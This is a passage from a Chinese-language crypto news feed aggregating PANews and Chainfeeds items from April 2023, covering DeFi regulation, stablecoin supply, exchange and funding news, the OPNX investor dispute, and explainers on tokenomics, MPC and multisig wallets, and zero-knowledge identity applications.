交易情况来看，我们猜测「麻吉大哥」此般言论背后的原因有二。 Zk Rollup如何成为Layer2终极赢家？ 我们认为，ZK-Rollup可以通过提高可扩展性为区块链技术，尤其是以太坊带来重大进步。这可以提供更好的用户体验，并增加该领域的兴趣，从而进一步令新项目吸引新的用户和支持者。这种指数级的正反馈循环可能是下一次加密牛市的核心。 Scroll联合创始人：如何从0到1构建zkEVM？ 演讲分成四个部分，第一部分张烨介绍了开发背景以及我们为什么首先需要zkEVM以及为什么它在最近两年间变得如此受欢迎，第二部分通过一个完整的流程，讲解如何从头开始构建zkEVM包括算术化和证明系统，第三部分通过一些有趣的研究问题来谈论了Scroll 在构建 zkEVM时遇到的问题，最后介绍了一些其他使用zkEVM的应用。 2万字深度技术文：为什么现在没有真正意义上的Rollup？ Kelvin 认为 ZK-rollup 是假的，但我认为任何 "rollup" 都不是真的，至少现在不是。那么，我们如何使它们成为真正的 rollup？ 从技术原理出发，批判“加密显学”零知识证明 ZK 证明生成时间过长的问题往往被研究者和开发者所忽视，因为这本质上是 ZK 需要做出的权衡。 知名BAYC持有者Franklin已删除其推特账号，此前因赌博和投资失败抛售大量BAYC 预警：谷歌Chrome浏览器紧急发布安全补丁，修复可盗取比特币私钥等信息的漏洞 分布式资本合伙人沈波：钱包已被盗，卖出LQTY非其本人操作 拉美加密货币公司Galactic Holdings完成1000万美元Pre-A轮融资，BAI Capital领投 特朗普推出新系列个人NFT收藏品 公链项目Shardeum公布代币经济模型，51%将作为节点奖励 美国众议院委员会发布稳定币法案草案 Lido DAO发起接收ARB空投代币的提案 胡润发布《2023全球独角兽榜》，区块链行业有53家独角兽企业入围 CZ：已准备好在未来12-18个月内对我们的业务进行调整，以使其完全合规 欧盟议会批准首个欧盟范围内的加密货币法规MiCA  ( 2 min )
    美国财政部官员：将对DeFi加强监管
    PANews 4月22日消息，据Cointelegragh报道，美国财政部助理部长Elizabeth Rosenberg表示，财政部正在加强其监管制度，DeFi应将合规列入计划。Rosenberg 4月21日在大西洋理事会智库会议上提醒听众，美国财政部对DeFi进行了风险评估，发现该领域在几个方面存在不足，因此未来将加强监管。根据财政部4月的一份报告，由于DeFi领域缺少反洗钱（AML）和反恐怖融资（CFT）法规，诈骗犯、洗钱者和朝鲜黑客可从中获益。该报告还发现，DeFi并不总是去中心化的。评估报告确定，所有DeFi服务都有责任遵守《银行保密法》，包括反洗钱/打击恐怖主义。  ( 1 min )
    数据：过去一周Circle USDC流通量减少9亿美元
    PANews 4月22日消息，据官方数据，过去7天Circle共发行5亿美元USDC，赎回14亿美元USDC，流通量减少约9亿美元。截至4月20日，USDC总流通量为310亿美元，储备量为311亿美元，其中现金57亿美元，短期美国国债255亿美元。  ( 1 min )
    Gemini将在美国境外开设加密衍生品平台
    PANews 4月22日消息，据CoinDesk报道，总部位于美国的加密交易所Gemini周五透露，它计划在海外开设衍生品平台“Gemini Foundation”。该平台推出的首个产品将是以GUSD计价的比特币永续合约。未来还将推出以太坊永久合约。与传统衍生品不同，永续合约没有到期日。与此同时，美国监管机构正对加密货币加强审查，Gemini也受到影响。今年1月，Gemini被美国证券交易委员会（SEC）指控出售未注册证券。  ( 1 min )
    硅谷银行CEO和CFO已于本周辞职
    PANews 4月22日消息，据彭博社报道，硅谷银行金融集团表示，其首席执行官Gregory Becker和首席财务官Daniel Beck已于本周辞职。Becker将“根据需要”担任公司顾问，不收取任何费用。此外，该集团正为旗下公司SVB Capital和SVB Securities探索战略选择。硅谷银行已于上月被监管机构出售给First Citizens BancShares Inc.。Becker于1993年加入硅谷银行，并在2011年被任命为首席执行官。Beck于2017年被任命为首席财务官，Nicholas Grossi将暂时接替他的职位。  ( 1 min )
    DRW、Nascent、MIAX和Susquehanna等多家公司否认投资OPNX
    PANews 4月22日消息，据The Block报道，在OPNX公布了一份投资者名单后，多名投资者否认参与投资。DRW一位发言人在电子邮件中表示，“DRW不是OPNX的投资者，其附属公司也不是OPNX的投资者。”与此同时，Nascent表示没有参与OPNX的融资轮，但在2021年初投资了FLEX代币。MIAX随后证实其不是OPNX的投资者，并补充表示没有购买任何FLEX。Susquehanna的一位发言人表示：“我们知道Coinflex与OPNX的拟议交易。我们没有投票赞成或以其他方式批准这项拟议的交易。我们没有向OPNX提供任何资金，也没有这样做的意图。”据此前消息，破产索赔交易所OPNX公开其主要投资者，包括 AppWorks、Susquehanna (SIG)、DRW VC、MIAX Group、Merchant Bank International（招行国际）的香港分行、Token Bay Capital、Nascent、Tuwaiq Limited等。  ( 1 min )

  • Open

    【英文】a16z：Tokenology：超越「代币经济学」
    Chainfeeds 导读： a16z 投资合伙人 Guy Wuollet 认为用「代币经济学（tokenomics）」这一术语描述代币的研究和设计非常有限，无法捕捉和传达设计空间全部维度和丰富的设计空间。并提出使用「代币学（tokenology）」指定通过使用密码学和机制设计来协调人员、组织和 / 或计算以实现共同目标的「研究」。 文章来源： https://a16zcrypto.com/content/article/beyond-tokenomics-tokenology/ 文章作者： Guy Wuollet 观点： Guy Wuollet：代币当前的用例包括：1）所有权：代币赋予用户数字「产权」，并允许超结构所有权，它们还会创造所有者可以访问和销毁的价值，不一定只是货币价值；2）一致性：创作者代币、社交代币和 NFT 允许粉丝直接与他们最喜爱的艺术家互动，并证明其粉丝身份，还可以扩展为建立数字文化身份。代币持有者还可以在创作者与社区之间的去中心化协作中对创意决策进行投票；【原文为英文】 内容来源 Guy Wuollet：3）激励结构：代币有助于协调以太坊和比特币中的验证者和矿工，还可以在 Uniswap、Compound 等 DeFi 协议中引入去中心化治理，可以协助 NFT 项目（如 BAYC）或数字原生 DAO 和社区（如 FWB）的会员增长和衍生品创造；4）访问商品和服务：如以太坊等智能合约平台出售计算服务；Helium 出售 LoRaWAN 和 5G 传输服务；Filecoin 出售数据存储服务等。许多 NFT 也可用于「门控」数字和物理体验，以帮助区分早期或活跃社区成员。【原文为英文】 内容来源 Guy Wuollet：代币不仅代表货币价值，还可以代表社会身份、声誉等价值。价值有很多形式，代币所代表的是多维价值；它们是一个向量，而不是一个标量。只有当我们把代币视为表示价值向量的原生方式时，才能开始传达出其丰富的设计空间。【原文为英文】 内容来源 Guy Wuollet：「价值」是一种抽象概念，大多数人将「价值」与「货币」混为一谈，但代币可以在不成为货币的情况下明确价值。在大多数情况下，今天的价值要么是隐性的，要么仅以美元的形式显性存在。关键是开发人员应该能够使用新的代币设计使隐性价值显性化。因此，我们需要超越代币经济学 = 代币 + 经济学，代币学 = 代币 × 经济学 × 艺术 ×…。一个新术语也可能帮助我们迎来一个新的、更丰富的代币设计时代。【原文为英文】 内容来源  ( 25 min )
    【英文】a16z：Tokenology：超越「代币经济学」
    Chainfeeds 导读： a16z 投资合伙人 Guy Wuollet 认为用「代币经济学（tokenomics）」这一术语描述代币的研究和设计非常有限，无法捕捉和传达设计空间全部维度和丰富的设计空间。并提出使用「代币学（tokenology）」指定通过使用密码学和机制设计来协调人员、组织和 / 或计算以实现共同目标的「研究」。 文章来源： https://a16zcrypto.com/content/article/beyond-tokenomics-tokenology/ 文章作者： Guy Wuollet 观点： Guy Wuollet：代币当前的用例包括：1）所有权：代币赋予用户数字「产权」，并允许超结构所有权，它们还会创造所有者可以访问和销毁的价值，不一定只是货币价值；2）一致性：创作者代币、社交代币和 NFT 允许粉丝直接与他们最喜爱的艺术家互动，并证明其粉丝身份，还可以扩展为建立数字文化身份。代币持有者还可以在创作者与社区之间的去中心化协作中对创意决策进行投票；【原文为英文】 内容来源 Guy Wuollet：3）激励结构：代币有助于协调以太坊和比特币中的验证者和矿工，还可以在 Uniswap、Compound 等 DeFi 协议中引入去中心化治理，可以协助 NFT 项目（如 BAYC）或数字原生 DAO 和社区（如 FWB）的会员增长和衍生品创造；4）访问商品和服务：如以太坊等智能合约平台出售计算服务；Helium 出售 LoRaWAN 和 5G 传输服务；Filecoin 出售数据存储服务等。许多 NFT 也可用于「门控」数字和物理体验，以帮助区分早期或活跃社区成员。【原文为英文】 内容来源 Guy Wuollet：代币不仅代表货币价值，还可以代表社会身份、声誉等价值。价值有很多形式，代币所代表的是多维价值；它们是一个向量，而不是一个标量。只有当我们把代币视为表示价值向量的原生方式时，才能开始传达出其丰富的设计空间。【原文为英文】 内容来源 Guy Wuollet：「价值」是一种抽象概念，大多数人将「价值」与「货币」混为一谈，但代币可以在不成为货币的情况下明确价值。在大多数情况下，今天的价值要么是隐性的，要么仅以美元的形式显性存在。关键是开发人员应该能够使用新的代币设计使隐性价值显性化。因此，我们需要超越代币经济学 = 代币 + 经济学，代币学 = 代币 × 经济学 × 艺术 ×…。一个新术语也可能帮助我们迎来一个新的、更丰富的代币设计时代。【原文为英文】 内容来源  ( 25 min )
    【长推】代币经济学设计的原则、方法和心得
    Chainfeeds 导读： 加密分析师 NingNing 认为设计代币经济学的原则和方法与设计国家货币体系的原则是通用和一致的，他将代币经济体系划分为 PoW 和 PoS 两大类型，对代币经济体系的完整架构、设计原则、方法及心得进行论述。 文章来源： https://twitter.com/0xNing0x/status/1648871420943032320 文章作者： Ningning.lens 观点： Ningning.lens：代币经济体系可划分为两大类型：1）PoW：通过 coinbase 机制直接发行代币。发行方式有挖矿、空投、FreeMint 等；2）PoS：通过 Staking 机制发行代币，本质是向市场借贷发行 token，并付以利息（Staking 收益）。发行方式有 Staking、IDO、LSD、YieldFarming 等。5 个原则：1）公开透明：信息向市场完全公开；2）稳定健壮：控制释放速度，增加使用场景、适时回购销毁等；3）流通通畅：价值流转中介；4）价值背书：锚定项目的核心价值；5）平衡公平与效率：兼顾资本与社区，再平衡代币集中化的二级市场趋势。 内容来源 Ningning.lens：设计方法：1）供应量：资产型 Token 应固定供应量上限，功能型 token 可不设上限；2）分配结构：按照项目属性定制资本、团队、基金会、社区之间的分配比例；3）流通机制：通过 Staking、IDO、YieldFarming、空投等形式发行，Gas 费、交易手续费、商品 / 服务费用等方式回收；4）功能与应用场景：锚定项目生态的最核心价值，如 Gas 费和交易手续费支付、社区治理等。 内容来源 Ningning.lens：设计心得：1）尽可能平衡早期用户收益与流通代币释放速度，合理比例的空投是一个完美的解决方案；2）保证代币流通机制通畅，没必要故意设计高 APY 锁仓机制锁住流通代币，锁死流通会窒息生态活力，还会增加未来释放压力；3）设立储备金库和公开市场操作机制，在适当时机干预市场，进行流通代币的再平衡；4）代币释放过程中增加随机性和多样性，保证代币释放的公平和开放，防止被资本或者野庄控盘。 内容来源  ( 2 min )
    【长推】代币经济学设计的原则、方法和心得
    Chainfeeds 导读： 加密分析师 NingNing 认为设计代币经济学的原则和方法与设计国家货币体系的原则是通用和一致的，他将代币经济体系划分为 PoW 和 PoS 两大类型，对代币经济体系的完整架构、设计原则、方法及心得进行论述。 文章来源： https://twitter.com/0xNing0x/status/1648871420943032320 文章作者： Ningning.lens 观点： Ningning.lens：代币经济体系可划分为两大类型：1）PoW：通过 coinbase 机制直接发行代币。发行方式有挖矿、空投、FreeMint 等；2）PoS：通过 Staking 机制发行代币，本质是向市场借贷发行 token，并付以利息（Staking 收益）。发行方式有 Staking、IDO、LSD、YieldFarming 等。5 个原则：1）公开透明：信息向市场完全公开；2）稳定健壮：控制释放速度，增加使用场景、适时回购销毁等；3）流通通畅：价值流转中介；4）价值背书：锚定项目的核心价值；5）平衡公平与效率：兼顾资本与社区，再平衡代币集中化的二级市场趋势。 内容来源 Ningning.lens：设计方法：1）供应量：资产型 Token 应固定供应量上限，功能型 token 可不设上限；2）分配结构：按照项目属性定制资本、团队、基金会、社区之间的分配比例；3）流通机制：通过 Staking、IDO、YieldFarming、空投等形式发行，Gas 费、交易手续费、商品 / 服务费用等方式回收；4）功能与应用场景：锚定项目生态的最核心价值，如 Gas 费和交易手续费支付、社区治理等。 内容来源 Ningning.lens：设计心得：1）尽可能平衡早期用户收益与流通代币释放速度，合理比例的空投是一个完美的解决方案；2）保证代币流通机制通畅，没必要故意设计高 APY 锁仓机制锁住流通代币，锁死流通会窒息生态活力，还会增加未来释放压力；3）设立储备金库和公开市场操作机制，在适当时机干预市场，进行流通代币的再平衡；4）代币释放过程中增加随机性和多样性，保证代币释放的公平和开放，防止被资本或者野庄控盘。 内容来源  ( 2 min )
    【英文】以太坊生态周报：Dencun 升级、EIP-4844 开发测试网
    Chainfeeds 导读： 速览以太坊生态系统、开发及应用一周重要讯息。本周重点内容：Dencun 升级范围将在下一次电话会议上进行讨论；除 EIP-4844 之外，拟将 EIP-4788 加入 Dencun 升级；EIP-4844 开发测试网 devnet5 将于下周启动；将验证者节点订阅到长期子网（attnets ）以减少带宽使用。 文章来源： https://weekinethereumnews.com/week-in-ethereum-news-april-22-2023/ 文章作者： abcoathup.eth  ( 8 min )
    【英文】以太坊生态周报：Dencun 升级、EIP-4844 开发测试网
    Chainfeeds 导读： 速览以太坊生态系统、开发及应用一周重要讯息。本周重点内容：Dencun 升级范围将在下一次电话会议上进行讨论；除 EIP-4844 之外，拟将 EIP-4788 加入 Dencun 升级；EIP-4844 开发测试网 devnet5 将于下周启动；将验证者节点订阅到长期子网（attnets ）以减少带宽使用。 文章来源： https://weekinethereumnews.com/week-in-ethereum-news-april-22-2023/ 文章作者： abcoathup.eth  ( 8 min )
    【长推】账户抽象的意义：从 MPC 钱包和比特币多签钱包谈起
    Chainfeeds 导读： 比特币研究贡献者 Ajian 发推探讨 MPC 钱包和比特币多签钱包的异同，认为原生支持多签名的比特币多签钱包可以达到和 MPC 钱包相同的效果，而更抽象 UTXO 模式可以做得更好。 文章来源： https://twitter.com/AurtrianAjian/status/1648883136003182595 文章作者： 阿剑 观点： 阿剑：MPC 钱包从原理上说，应该称为「基于分布式密钥生成（DKG）的门限签名（TSS）钱包」：DKG 会形成 n 个私钥碎片，对外仅表现为 1 个公钥（集体公钥）。而 TSS 允许只需其中 m 个私钥碎片签名，即可生成可用集体公钥验证的有效签名。这类钱包的想法是，让一个可保证全时响应并可验证用户身份的运营方控制其中 1 个碎片，用户自己控制其它碎片，帮助用户消除任一碎片的单点故障。而对于原生支持多签名的比特币来说，只需使用多签名钱包即可达到相同效果。 内容来源 阿剑：DKG-TSS 钱包实际上是对抽象性不足的账户模式的补救；当前大部分账户模型的链都使用单签名账户，因此需要借助 DKG 等技术消除单点故障。然而，在这种 DKG-TSS 钱包中，1）运营商明确知晓用户账户，隐私性差；2）用户往往只能使用一个运营商，难以约束运营商行为。但是，更抽象的 UTXO 模式可以做得比这还要好。 内容来源 阿剑：多签名托管钱包中，1）假定提供此类服务的服务商公开了自己的公钥，你可以自行把其中一个公钥放在多签名合约中，无需知会他。至于身份验证，可以先使用闪电支付向服务商支付一笔费用，然后提交加密 UTXO 信息和身份验证手段信息，由此解决隐私性问题；2）借助 taproot，可以在一个输出中安排多套多签名锁，且曝光其一不会导致其它条款曝光，从而消除服务商单点故障；3）由于比特币 multisig 要求各参与解锁的公钥提供单独签名，所以它会曝光在链上，这意味着服务商签名后无法抵赖（可追责性）。 内容来源  ( 2 min )
    【长推】账户抽象的意义：从 MPC 钱包和比特币多签钱包谈起
    Chainfeeds 导读： 比特币研究贡献者 Ajian 发推探讨 MPC 钱包和比特币多签钱包的异同，认为原生支持多签名的比特币多签钱包可以达到和 MPC 钱包相同的效果，而更抽象 UTXO 模式可以做得更好。 文章来源： https://twitter.com/AurtrianAjian/status/1648883136003182595 文章作者： 阿剑 观点： 阿剑：MPC 钱包从原理上说，应该称为「基于分布式密钥生成（DKG）的门限签名（TSS）钱包」：DKG 会形成 n 个私钥碎片，对外仅表现为 1 个公钥（集体公钥）。而 TSS 允许只需其中 m 个私钥碎片签名，即可生成可用集体公钥验证的有效签名。这类钱包的想法是，让一个可保证全时响应并可验证用户身份的运营方控制其中 1 个碎片，用户自己控制其它碎片，帮助用户消除任一碎片的单点故障。而对于原生支持多签名的比特币来说，只需使用多签名钱包即可达到相同效果。 内容来源 阿剑：DKG-TSS 钱包实际上是对抽象性不足的账户模式的补救；当前大部分账户模型的链都使用单签名账户，因此需要借助 DKG 等技术消除单点故障。然而，在这种 DKG-TSS 钱包中，1）运营商明确知晓用户账户，隐私性差；2）用户往往只能使用一个运营商，难以约束运营商行为。但是，更抽象的 UTXO 模式可以做得比这还要好。 内容来源 阿剑：多签名托管钱包中，1）假定提供此类服务的服务商公开了自己的公钥，你可以自行把其中一个公钥放在多签名合约中，无需知会他。至于身份验证，可以先使用闪电支付向服务商支付一笔费用，然后提交加密 UTXO 信息和身份验证手段信息，由此解决隐私性问题；2）借助 taproot，可以在一个输出中安排多套多签名锁，且曝光其一不会导致其它条款曝光，从而消除服务商单点故障；3）由于比特币 multisig 要求各参与解锁的公钥提供单独签名，所以它会曝光在链上，这意味着服务商签名后无法抵赖（可追责性）。 内容来源  ( 2 min )
    对话 ABCDE Capital 联创 BMAN：ABCDE 的「根叶投资哲学」
    Chainfeeds 导读： 在香港 Web3 大会期间，BlockBeats 对 ABCDE Capital 联合创始人 BMAN 进行专访，探讨其创办 ABCDE Capital 的理念及投资哲学：抓住趋势的人口红利和技术红利。 文章来源： https://www.theblockbeats.info/news/36719 文章作者： BlockBeats 观点： BMAN：如果把 Crypto 比作一棵树的话，我们把 Crypro 的技术趋势比作一棵树的树根。树根会越来越垂直，越来越细分，越来越硬核，解决垂直领域的攻坚问题。比如说我们最近投了 ZK 的硬件加速项目 Cysic，我们甚至会去看一些芯片的项目，包括 ZK 的 interoperability 项目 Polyhedra，还会去看 ZK machine learning 这种非常前沿的项目。技术红利的应用落地得去找细分的场景看，所以从技术的维度它会像树根一样越扎越深越扎越细。 内容来源 BMAN：关于 Crypto 的人口红利就像树的树叶，我们的判断是 Crypto 会越来越低门槛化，越来越普及，越来越茂盛地去触达 10 亿用户。投资角度我们就主要看一些能够推动 massive adoption 的 Dev infra 或者是用户端接口，其中我们会看的最重要的两项，一是 NFT，不仅是说 pfp 这种 NFT，我们还要看 Utility NFT，包括像用 NFT 做门票，去做 Pass、Gaming，会是未来 metaverse 的重要载体。另外一块就是交易类型，因为 Crypto 最 native 的应用还是交易。 内容来源 BMAN：以太坊刚完成上海升级，我预判升级之后以太坊的需求量会大增，进一步 增加 Crypto 需求。我非常乐观于明年的三周期共振的机会：一是比特币再度减半周期；二是今年美元结束加息，明年就会进入降息的周期，当然降息的节奏会更慢一些；三就是美国明年会进入新的选举周期，会采取一些措施刺激经济，美股可能会有比较好的表现。因为 Crypto 跟美股科技股还是有很大的关联度。 内容来源
    对话 ABCDE Capital 联创 BMAN：ABCDE 的「根叶投资哲学」
    Chainfeeds 导读： 在香港 Web3 大会期间，BlockBeats 对 ABCDE Capital 联合创始人 BMAN 进行专访，探讨其创办 ABCDE Capital 的理念及投资哲学：抓住趋势的人口红利和技术红利。 文章来源： https://www.theblockbeats.info/news/36719 文章作者： BlockBeats 观点： BMAN：如果把 Crypto 比作一棵树的话，我们把 Crypro 的技术趋势比作一棵树的树根。树根会越来越垂直，越来越细分，越来越硬核，解决垂直领域的攻坚问题。比如说我们最近投了 ZK 的硬件加速项目 Cysic，我们甚至会去看一些芯片的项目，包括 ZK 的 interoperability 项目 Polyhedra，还会去看 ZK machine learning 这种非常前沿的项目。技术红利的应用落地得去找细分的场景看，所以从技术的维度它会像树根一样越扎越深越扎越细。 内容来源 BMAN：关于 Crypto 的人口红利就像树的树叶，我们的判断是 Crypto 会越来越低门槛化，越来越普及，越来越茂盛地去触达 10 亿用户。投资角度我们就主要看一些能够推动 massive adoption 的 Dev infra 或者是用户端接口，其中我们会看的最重要的两项，一是 NFT，不仅是说 pfp 这种 NFT，我们还要看 Utility NFT，包括像用 NFT 做门票，去做 Pass、Gaming，会是未来 metaverse 的重要载体。另外一块就是交易类型，因为 Crypto 最 native 的应用还是交易。 内容来源 BMAN：以太坊刚完成上海升级，我预判升级之后以太坊的需求量会大增，进一步 增加 Crypto 需求。我非常乐观于明年的三周期共振的机会：一是比特币再度减半周期；二是今年美元结束加息，明年就会进入降息的周期，当然降息的节奏会更慢一些；三就是美国明年会进入新的选举周期，会采取一些措施刺激经济，美股可能会有比较好的表现。因为 Crypto 跟美股科技股还是有很大的关联度。 内容来源
    【英文】以太坊中的零知识应用现状：隐私和身份
    Chainfeeds 导读： andyguzman.eth 撰文探讨以太坊中的零知识应用现状，本文侧重于隐私和身份（zkID）部分，内容涵盖证明者平台、身份互操作性、人格证明、合规性等用例。 文章来源： https://mirror.xyz/andyguzman.eth/ZZRLBlx2KjlNnQ84v1doMKg_8QO-XRjYxFfT1Fm_ZDw 文章作者： andyguzman.eth 观点： andyguzman.eth：1）证明者平台：允许用户私下证明区块链已知的事实，如 NFT 所有权、徽章、声誉（可以概括为代币）、以太坊地址所有权，甚至以太坊地址的历史事实。通过提出声明但不留下身份痕迹实现匿名性，防止人肉搜索。相关项目有 Relic Protocol、Sealcred NFT 和 Sismo Badges 等；2）自定义证明创建：Sismo Factory；3）身份互操作性：一些例子是将 Twitter 和 GitHub 的信誉移植到 web3，还包括银行信息、组织归属等，如 TLSNotary、Sealcred Email、ZK Email 等；【原文为英文】 内容来源 andyguzman.eth：4）人格证明 / 存在证明：越来越多地被用作反女巫机制，如 Interep、Worldcoin 等；5）合规（KYC、AML、KYB）：zkCompliance 涵盖侧重于保护隐私的应用，同时仍满足特定管辖区的监管合规标准。例如，通过这种方式，可以证明已经向安全供应商提供了 KYC 信息，而无需向所有人公开。如 Notebook Labs、Noxx、Polygon ID、KeyRing.Network、zkPass 等；6）身份管理和聚合：聚合和管理不同的身份，并在不披露每个身份之间的关系的情况下声明其中一个或多个身份。如 Crypt-Keepe、Holonym、Nuggets、Sismo Vault、Zuzalu passport 等；【原文为英文】 内容来源 andyguzman.eth：7）治理：专注于治理环境中的匿名性、假名性或抗共谋，可以防止在投票、发出信号或传递治理提案时反弹。如 AnonyZKVote、Blind-OVOTE、zkPIN 等；8）验证：ZKP 可用于在不交换密码等秘密信息的情况下对用户进行身份验证。如 Sismo Connect、Heyauthn 等；9）社交网络（DeSoc）：在社交网络中进行匿名或伪匿名互动。如 HeyAnon、SealCaster、UnirepSocial 等；10）匿名聊天和垃圾邮件保护：管理匿名消息传递环境。如 RLN、Zk-chat 等。【原文为英文】 内容来源  ( 17 min )
    【英文】以太坊中的零知识应用现状：隐私和身份
    Chainfeeds 导读： andyguzman.eth 撰文探讨以太坊中的零知识应用现状，本文侧重于隐私和身份（zkID）部分，内容涵盖证明者平台、身份互操作性、人格证明、合规性等用例。 文章来源： https://mirror.xyz/andyguzman.eth/ZZRLBlx2KjlNnQ84v1doMKg_8QO-XRjYxFfT1Fm_ZDw 文章作者： andyguzman.eth 观点： andyguzman.eth：1）证明者平台：允许用户私下证明区块链已知的事实，如 NFT 所有权、徽章、声誉（可以概括为代币）、以太坊地址所有权，甚至以太坊地址的历史事实。通过提出声明但不留下身份痕迹实现匿名性，防止人肉搜索。相关项目有 Relic Protocol、Sealcred NFT 和 Sismo Badges 等；2）自定义证明创建：Sismo Factory；3）身份互操作性：一些例子是将 Twitter 和 GitHub 的信誉移植到 web3，还包括银行信息、组织归属等，如 TLSNotary、Sealcred Email、ZK Email 等；【原文为英文】 内容来源 andyguzman.eth：4）人格证明 / 存在证明：越来越多地被用作反女巫机制，如 Interep、Worldcoin 等；5）合规（KYC、AML、KYB）：zkCompliance 涵盖侧重于保护隐私的应用，同时仍满足特定管辖区的监管合规标准。例如，通过这种方式，可以证明已经向安全供应商提供了 KYC 信息，而无需向所有人公开。如 Notebook Labs、Noxx、Polygon ID、KeyRing.Network、zkPass 等；6）身份管理和聚合：聚合和管理不同的身份，并在不披露每个身份之间的关系的情况下声明其中一个或多个身份。如 Crypt-Keepe、Holonym、Nuggets、Sismo Vault、Zuzalu passport 等；【原文为英文】 内容来源 andyguzman.eth：7）治理：专注于治理环境中的匿名性、假名性或抗共谋，可以防止在投票、发出信号或传递治理提案时反弹。如 AnonyZKVote、Blind-OVOTE、zkPIN 等；8）验证：ZKP 可用于在不交换密码等秘密信息的情况下对用户进行身份验证。如 Sismo Connect、Heyauthn 等；9）社交网络（DeSoc）：在社交网络中进行匿名或伪匿名互动。如 HeyAnon、SealCaster、UnirepSocial 等；10）匿名聊天和垃圾邮件保护：管理匿名消息传递环境。如 RLN、Zk-chat 等。【原文为英文】 内容来源  ( 17 min )
    索赔交易平台 OPNX 公开其主要投资者，包括 AppWorks、SIG、DRW 和招行国际香港分行等
    索赔交易平台 OPNX 公开其主要投资者，包括 AppWorks、SIG、DRW 和招行国际香港分行等 Su Zhu 等人创办的索赔交易平台 OPNX 于官方推特公开其主要投资者：包括 AppWorks、Susquehanna（SIG）、DRW、MIAX Group、China Merchant Bank International（招行国际香港分行）、Token Bay Capital、Nascent、Tuwaiq Limited 等。 据 OPNX 表示，这些投资者不仅投入了资金，而且在完善产品愿景、产品供应、代币经济学、法律框架以及搬迁到香港的决策过程中提供了诸多反馈。 内容来源 观点： ChainFeeds：据 The Block 报道，DRW、Nascent、MIAX Group 和 Susquehanna 等多家公司均否认投资 OPNX。其中，DRW 发言人在电子邮件中表示，DRW 不是 OPNX 的投资者，其附属公司也不是 OPNX 的投资者；Nascent 表示没有参与 OPNX 的融资轮次，但在 2021 年初投资了 FLEX 代币。MIAX Group 表示其不是 OPNX 的投资者，且没有购买任何 FLEX；Susquehanna 发言人表示：其只知道 Coinflex 与 OPNX 的拟议交易，但没有投票赞成或以其他方式批准这项拟议交易，没有向 OPNX 提供任何资金，也没有这样做的意图。 内容来源 OPNX：OPNX 的核心价值是透明度，公司在寻求经济利益的同时又因为害怕社交媒体的强烈反对而拒绝建立联系，这是很丑陋的。如果任何一方在致力于透明度和行业进步方面动摇，不希望他们将来成为投资者。【原文为英文】 内容来源 Leslie Lamb（OPNX CEO）：OPNX 将于 5 月份上线索赔交易服务。针对多个机构否认投资 OPNX，我想表明的是，机构支持者要么直接投资 OPNX，要么通过 CoinFLEX 重组就股权进行谈判，公开法庭文件可以证明。【原文为英文】 内容来源  ( 2 min )
    索赔交易平台 OPNX 公开其主要投资者，包括 AppWorks、SIG、DRW 和招行国际香港分行等
    索赔交易平台 OPNX 公开其主要投资者，包括 AppWorks、SIG、DRW 和招行国际香港分行等 Su Zhu 等人创办的索赔交易平台 OPNX 于官方推特公开其主要投资者：包括 AppWorks、Susquehanna（SIG）、DRW、MIAX Group、China Merchant Bank International（招行国际香港分行）、Token Bay Capital、Nascent、Tuwaiq Limited 等。 据 OPNX 表示，这些投资者不仅投入了资金，而且在完善产品愿景、产品供应、代币经济学、法律框架以及搬迁到香港的决策过程中提供了诸多反馈。 内容来源 观点： ChainFeeds：据 The Block 报道，DRW、Nascent、MIAX Group 和 Susquehanna 等多家公司均否认投资 OPNX。其中，DRW 发言人在电子邮件中表示，DRW 不是 OPNX 的投资者，其附属公司也不是 OPNX 的投资者；Nascent 表示没有参与 OPNX 的融资轮次，但在 2021 年初投资了 FLEX 代币。MIAX Group 表示其不是 OPNX 的投资者，且没有购买任何 FLEX；Susquehanna 发言人表示：其只知道 Coinflex 与 OPNX 的拟议交易，但没有投票赞成或以其他方式批准这项拟议交易，没有向 OPNX 提供任何资金，也没有这样做的意图。 内容来源 OPNX：OPNX 的核心价值是透明度，公司在寻求经济利益的同时又因为害怕社交媒体的强烈反对而拒绝建立联系，这是很丑陋的。如果任何一方在致力于透明度和行业进步方面动摇，不希望他们将来成为投资者。【原文为英文】 内容来源 Leslie Lamb（OPNX CEO）：OPNX 将于 5 月份上线索赔交易服务。针对多个机构否认投资 OPNX，我想表明的是，机构支持者要么直接投资 OPNX，要么通过 CoinFLEX 重组就股权进行谈判，公开法庭文件可以证明。【原文为英文】 内容来源  ( 2 min )
    元宇宙公司 XRSPACE 完成 2500 万美元融资，富士康领投
    元宇宙公司 XRSPACE 完成 2500 万美元融资，富士康领投 中国台湾元宇宙公司 XRSPACE 宣布完成 2500 万美元融资，富士康领投，台湾国家发展基金投资 1000 万美元，资金将用于下一代 3D 直播和社交体验的研发。2022 年 3 月，XRSPACE 公司声称获得共计 1 亿美元投资的三笔投资承诺，本次融资是这三笔投资中的第一笔。 据悉，XRSPACE 通过旗下平台「XRSPACE MANOVA」提供社交化的元宇宙体验，旨在改变人们联系、工作和娱乐的方式。 内容来源  ( 16 min )
    元宇宙公司 XRSPACE 完成 2500 万美元融资，富士康领投
    元宇宙公司 XRSPACE 完成 2500 万美元融资，富士康领投 中国台湾元宇宙公司 XRSPACE 宣布完成 2500 万美元融资，富士康领投，台湾国家发展基金投资 1000 万美元，资金将用于下一代 3D 直播和社交体验的研发。2022 年 3 月，XRSPACE 公司声称获得共计 1 亿美元投资的三笔投资承诺，本次融资是这三笔投资中的第一笔。 据悉，XRSPACE 通过旗下平台「XRSPACE MANOVA」提供社交化的元宇宙体验，旨在改变人们联系、工作和娱乐的方式。 内容来源  ( 16 min )
    Coinbase L2 网络 Base 计划于 2023 年推出主网
    Coinbase L2 网络 Base 计划于 2023 年推出主网 据 TechCrunch 报道，Coinbase Layer2 网络 Base 计划在 2023 年推出其主网。Base 负责人兼 Coinbase 协议负责人 Jesse Pollak 表示，近期的计划是让 Base 进入主网并去中心化。 内容来源  ( 44 min )
    Coinbase L2 网络 Base 计划于 2023 年推出主网
    Coinbase L2 网络 Base 计划于 2023 年推出主网 据 TechCrunch 报道，Coinbase Layer2 网络 Base 计划在 2023 年推出其主网。Base 负责人兼 Coinbase 协议负责人 Jesse Pollak 表示，近期的计划是让 Base 进入主网并去中心化。 内容来源  ( 44 min )

  • Open

    Coinbase L2网络Base计划在2023年推出其主网
    PANews 4月22日消息，据TechCrunch报道，Base 负责人兼 Coinbase 协议负责人 Jesse Pollak 表示，Coinbase Layer2 网络 Base 计划在 2023 年推出其主网。近期的计划是让 Base 进入主网并去中心化。  ( 1 min )
    破产索赔交易所OPNX公开其主要投资者，包括AppWorks、DRW VC和招行国际的香港分行等
